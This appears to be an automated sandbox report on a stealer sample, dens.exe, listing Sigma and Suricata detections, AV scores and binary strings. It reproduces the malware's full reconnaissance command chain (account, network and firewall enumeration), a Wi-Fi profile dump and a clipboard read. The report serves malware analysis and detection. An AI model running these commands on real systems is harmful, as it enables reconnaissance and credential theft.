Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: net user, CommandLine: net user, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3652, ParentProcessName: cmd.exe, ProcessCommandLine: net user, ProcessId: 7456, ProcessName: net.exe

Sigma detected: Net.exe Execution

Source: Process started

Author: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: net user, CommandLine: net user, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3652, ParentProcessName: cmd.exe, ProcessCommandLine: net user, ProcessId: 7456, ProcessName: net.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe Get-Clipboard, CommandLine: powershell.exe Get-Clipboard, CommandLine|base64offset|contains: ~Xn, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1352, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe Get-Clipboard, ProcessId: 1900, ProcessName: powershell.exe

Sigma detected: SC.EXE Query Execution

Source: Process started

Author: frack113: Data: Command: sc query type= service state= all, CommandLine: sc query type= service state= all, CommandLine|base64offset|contains: , Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3652, ParentProcessName: cmd.exe, ProcessCommandLine: sc query type= service state= all, ProcessId: 7916, ProcessName: sc.exe

Sigma detected: Suspicious Execution of Hostname

Source: Process started

Author: frack113: Data: Command: hostname, CommandLine: hostname, CommandLine|base64offset|contains: -, Image: C:\Windows\System32\HOSTNAME.EXE, NewProcessName: C:\Windows\System32\HOSTNAME.EXE, OriginalFileName: C:\Windows\System32\HOSTNAME.EXE, ParentCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3652, ParentProcessName: cmd.exe, ProcessCommandLine: hostname, ProcessId: 7380, ProcessName: HOSTNAME.EXE

Sigma detected: Suspicious Network Command

Source: Process started

Author: frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io': Data: Command: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", CommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\dens.exe", ParentImage: C:\Users\user\Desktop\dens.exe, ParentProcessId: 6500, ParentProcessName: dens.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user admin

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7256, ProcessName: svchost.exe

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles", CommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\dens.exe", ParentImage: C:\Users\user\Desktop\dens.exe, ParentProcessId: 6500, ParentProcessName: dens.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles", ProcessId: 3488, ProcessName: cmd.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T00:38:46.672880+0100	2022930	1	A Network Trojan was detected	4.175.87.197	443	192.168.2.4	49744	TCP
2024-11-13T00:39:26.467794+0100	2022930	1	A Network Trojan was detected	4.175.87.197	443	192.168.2.4	49763	TCP

ETPRO MALWARE Python Cstealer/SatanStealer Discord JS Inject Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T00:38:58.408138+0100	2857287	1	A Network Trojan was detected	185.199.108.133	443	192.168.2.4	49757	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\WaltuhiumUpdateService\Waltuhium.exe

ReversingLabs: Detection: 39%

Multi AV Scanner detection for submitted file

Source: dens.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 89.8% probability

Phishing

Overwrites the password of the administrator account

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user administrator
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user administrator
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user administrator
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user administrator

Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\wheel-0.43.0.dist-info\LICENSE.txt			Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\wheel-0.43.0.dist-info\LICENSE.txt			Jump to behavior

Source: dens.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: dens.exe, 00000000.00000003.1666353635.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cryptography_rust.pdbc source: dens.exe, 00000001.00000002.2068229135.00007FFDFA867000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: dens.exe, 00000000.00000003.1664185093.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-file-l1-2-0.dll.0.dr
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: dens.exe, 00000000.00000003.1663980456.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: dens.exe, 00000000.00000003.1665572074.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: dens.exe, 00000000.00000003.1665989863.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-filesystem-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1664659823.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1666061436.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: dens.exe, 00000000.00000003.1664385796.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-heap-l1-1-0.dll.0.dr
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: dens.exe, 00000001.00000002.2068229135.00007FFDFA867000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: dens.exe, 00000000.00000003.1661475799.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: dens.exe, 00000000.00000003.1665921025.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1665989863.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-filesystem-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: dens.exe, 00000000.00000003.1665091592.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1666599668.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: dens.exe, 00000000.00000003.1663850239.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1665639486.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1665022014.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: dens.exe, 00000000.00000003.1662552489.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: dens.exe, 00000000.00000003.1665234767.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-profile-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1664117143.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1665921025.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: dens.exe, 00000000.00000003.1666599668.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: dens.exe, 00000000.00000003.1664318244.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1665572074.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.0.dr
Source:	Binary string: ossl_ec_GFp_simple_group_set_curvecrypto\ec\ecp_smpl.cossl_ec_GFp_simple_group_check_discriminantossl_ec_GFp_simple_point_set_affine_coordinatesossl_ec_GFp_simple_point_get_affine_coordinatesossl_ec_GFp_simple_make_affineossl_ec_GFp_simple_points_make_affineossl_ec_GFp_simple_field_invossl_ec_GFp_simple_blind_coordinatescrypto\buffer\buffer.cBUF_MEM_growBUF_MEM_grow_cleancompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specific.dllCPUINFO: crypto\initthread.cOPENSSL_ia32cap` source: dens.exe, 00000001.00000002.2068229135.00007FFDFA867000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: dens.exe, 00000000.00000003.1665506325.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: dens.exe, 00000000.00000003.1665022014.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_overlapped.pdb source: dens.exe, 00000000.00000003.1662792406.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: dens.exe, 00000000.00000003.1661110438.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: dens.exe, 00000000.00000003.1664590602.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-localization-l1-2-0.dll.0.dr
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1665368820.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1666519024.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: dens.exe, 00000000.00000003.1665157382.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-1.dll.0.dr
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1663980456.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1664523044.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdbGCTL source: dens.exe, 00000000.00000003.1664590602.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-localization-l1-2-0.dll.0.dr
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: dens.exe, 00000000.00000003.1664725190.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: dens.exe, 00000000.00000003.1676466121.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr
Source:	Binary string: k1k2k3X9_62_PENTANOMIALp.otherp.onBasisp.tpBasisp.ppBasismX9_62_CHARACTERISTIC_TWOp.primep.char_twofieldTypeX9_62_FIELDIDX9_62_CURVEfieldIDcurvebaseECPARAMETERSvalue.named_curvevalue.parametersvalue.implicitlyCAECPKPARAMETERSprivateKeyparameterspublicKeyEC_PRIVATEKEYec_asn1_group2fieldidcrypto\ec\ec_asn1.cec_asn1_group2curveEC_GROUP_get_ecparametersEC_GROUP_get_ecpkparametersEC_GROUP_new_from_ecparametersEC_GROUP_new_from_ecpkparametersi2d_ECPKParametersd2i_ECPrivateKeyi2d_ECPrivateKeyi2d_ECParametersd2i_ECParameterso2i_ECPublicKeyi2o_ECPublicKeycompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"3.3.2built on: Tue Sep 3 19:22:24 2024 UTCplatform: VC-WIN64AOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availablecrypto\init.cOPENSSL_init_cryptocrypto\bio\bio_lib.cBIO_new_exbio_read_internbio_write_internBIO_sendmmsgBIO_recvmmsgBIO_putsBIO_getsBIO_get_line BIO_ctrlBIO_callback_ctrlBIO_find_type source: dens.exe, 00000001.00000002.2068229135.00007FFDFA867000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: dens.exe, 00000000.00000003.1665300726.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1663850239.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: dens.exe, 00000000.00000003.1666268915.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-process-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1666675608.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_uuid.pdb source: dens.exe, 00000000.00000003.1663289848.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, _uuid.pyd.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_wmi.pdb source: dens.exe, 00000000.00000003.1663365617.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, _wmi.pyd.0.dr
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: dens.exe, 00000000.00000003.1664454967.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-interlocked-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1665435710.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1665300726.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_wmi.pdb''&GCTL source: dens.exe, 00000000.00000003.1663365617.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp, _wmi.pyd.0.dr
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\mugnbzbx\mugnbzbx.pdb source: powershell.exe, 00000052.00000002.1892866312.00000217AE943000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: dens.exe, 00000000.00000003.1666061436.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: dens.exe, 00000000.00000003.1666519024.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: dens.exe, 00000000.00000003.1666130356.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: dens.exe, 00000000.00000003.1664659823.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: dens.exe, 00000000.00000003.1666432610.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: dens.exe, 00000000.00000003.1661110438.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_multiprocessing.pdb source: dens.exe, 00000000.00000003.1662659826.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: dens.exe, 00000000.00000003.1665708925.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-util-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: dens.exe, 00000000.00000003.1665435710.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1664385796.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-heap-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1666196697.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-math-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1664318244.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: dens.exe, 00000000.00000003.1662453626.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1665091592.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: dens.exe, 00000000.00000003.1664047310.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\mugnbzbx\mugnbzbx.pdbhP" source: powershell.exe, 00000052.00000002.1892866312.00000217AE943000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: dens.exe, 00000000.00000003.1664117143.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_asyncio.pdb source: dens.exe, 00000000.00000003.1661560840.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdbGCTL source: dens.exe, 00000000.00000003.1665506325.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1666268915.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-process-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: dens.exe, 00000000.00000003.1665849743.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1665708925.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-util-l1-1-0.dll.0.dr
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1663915027.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: dens.exe, 00000000.00000003.1661942418.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1664047310.00000107DAD65000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: dens.exe, 00000000.00000003.1662940240.00000107DAD62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cryptography_rust.pdb source: dens.exe, 00000001.00000002.2068229135.00007FFDFA867000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1665849743.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdbGCTL source: dens.exe, 00000000.00000003.1666432610.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp
